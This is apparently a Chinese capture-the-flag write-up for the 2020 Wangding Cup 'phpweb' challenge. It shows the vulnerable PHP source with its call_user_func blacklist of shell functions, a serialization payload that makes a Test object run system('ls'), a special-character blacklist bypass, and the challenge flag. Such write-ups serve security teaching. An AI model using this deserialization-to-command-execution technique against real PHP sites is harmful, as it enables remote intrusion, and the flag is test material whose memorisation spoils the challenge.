[网鼎杯 2020 朱雀组]phpweb
[网鼎杯 2020 朱雀组]phpweb
解法一
打开网站发现一直在重复刷新界面,分析这段报错信息发现最后有一个日期,并且每过5秒钟就会刷新一次
此时我们尝试抓包来进行分析
由于界面上显示的是当前的时间,并且抓包发现post传了两个数据,分别是date和输出日期的格式,因此推测,func为函数名称,p为函数的参数,这两个值传到后端就会执行相应的函数
所以我们尝试执行system()函数来执行系统命令
输出了Hacker,推测应该是有黑名单进行了过滤,此时我们尝试下能不能读取源码来进一步分析,具体的函数有,file_get_contents(),highlight_file(),show_source()等
此时发现成功执行,并且输出了源码,将该代码复制出来如下:
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
此时发现类Test中的成员函数__destruct()函数执行了gettime()函数,而该函数则调用了关键函数call_user_func(),再看看黑名单中没有过滤unserialize()函数,此时想到可以尝试反序列化
构造payload的代码如下:
<?php
class Test {
var $p = "ls";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a = new Test();
echo serialize($a);
?>
将序列化之后的结果作为变量p的值,func的值则为unserialize
发现成功执行了命令,接下来逐步尝试寻找flag
最终也是在/tmp目录下发现了flag文件
因此本题的flag为:flag{86f0d32f-32bc-484f-9114-d3e0fcfbb389}
解法二
本题还有另外一种解法
这道题只要能够绕过黑名单执行系统函数就能得到flag,因此查询相关资料得知php执行执行代码的时候会跳过特殊的字符串,因此可以通过添加特殊字符串的方式绕过黑名单
可以发现成功执行了命令,所以通过该种方式也能够得到flag
flag{86f0d32f-32bc-484f-9114-d3e0fcfbb389}